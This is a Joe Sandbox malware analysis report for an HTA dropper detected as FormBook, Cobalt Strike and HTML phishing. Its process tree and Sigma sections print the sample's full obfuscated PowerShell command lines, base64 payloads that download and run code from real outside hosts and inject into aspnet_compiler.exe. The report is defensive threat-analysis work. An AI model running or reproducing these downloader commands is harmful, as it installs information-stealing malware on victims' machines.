Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
seemybestdayguvenu.hta

Overview

General Information

Sample name:seemybestdayguvenu.hta
Analysis ID:1570658
MD5:3af71b8154d01f56072abd20b3a40b1d
SHA1:81ec9438c1e189024d85c5418b2bdf8a16577ee4
SHA256:dd8410b74d1b3249b8459fea6a43997ad653a8aa2d7aabb02f20076270d34b50
Tags:htauser-abuse_ch
Infos:

Detection

Cobalt Strike, FormBook, HTMLPhisher
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 1372 cmdline: mshta.exe "C:\Users\user\Desktop\seemybestdayguvenu.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • cmd.exe (PID: 2836 cmdline: "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6600 cmdline: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • csc.exe (PID: 4540 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
          • cvtres.exe (PID: 5724 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA8D6.tmp" "c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)
        • wscript.exe (PID: 5552 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" MD5: FF00E0480075B095948000BDC66E81F0)
          • powershell.exe (PID: 3004 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • conhost.exe (PID: 2644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • aspnet_compiler.exe (PID: 4976 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
seemybestdayguvenu.htaJoeSecurity_HtmlPhish_44Yara detected HtmlPhish_44Joe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Process Memory Space: powershell.exe PID: 3004JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
          Process Memory Space: powershell.exe PID: 3004INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
          • 0x24f29:$b2: ::FromBase64String(
          • 0x2554b:$b2: ::FromBase64String(
          • 0xeda13:$b2: ::FromBase64String(
          • 0xee035:$b2: ::FromBase64String(
          • 0xeedde:$b2: ::FromBase64String(
          • 0xef171:$b2: ::FromBase64String(
          • 0x2e35a5:$b2: ::FromBase64String(
          • 0x2e3bc7:$b2: ::FromBase64String(
          • 0x2e410f:$b2: ::FromBase64String(
          • 0x2e4c4f:$b2: ::FromBase64String(
          • 0x2e6b2e:$b2: ::FromBase64String(
          • 0x8e21fd:$b2: ::FromBase64String(
          • 0x8ea86a:$b2: ::FromBase64String(
          • 0x8f7a7c:$b2: ::FromBase64String(
          • 0x8f809e:$b2: ::FromBase64String(
          • 0x8fcdae:$b2: ::FromBase64String(
          • 0x93f219:$b2: ::FromBase64String(
          • 0x94008b:$b2: ::FromBase64String(
          • 0x9406b4:$b2: ::FromBase64String(
          • 0x94440b:$b2: ::FromBase64String(
          • 0x9643c4:$b2: ::FromBase64String(

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          12.2.aspnet_compiler.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            12.2.aspnet_compiler.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

              Other

              SourceRuleDescriptionAuthorStrings
              amsi32_3004.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                amsi32_3004.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: Base64 Encoded PowerShell Command Detected
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8
                  Sigma detected: Potentially Suspicious PowerShell Child Processes
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , ProcessId: 5552, ProcessName: wscript.exe
                  Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuM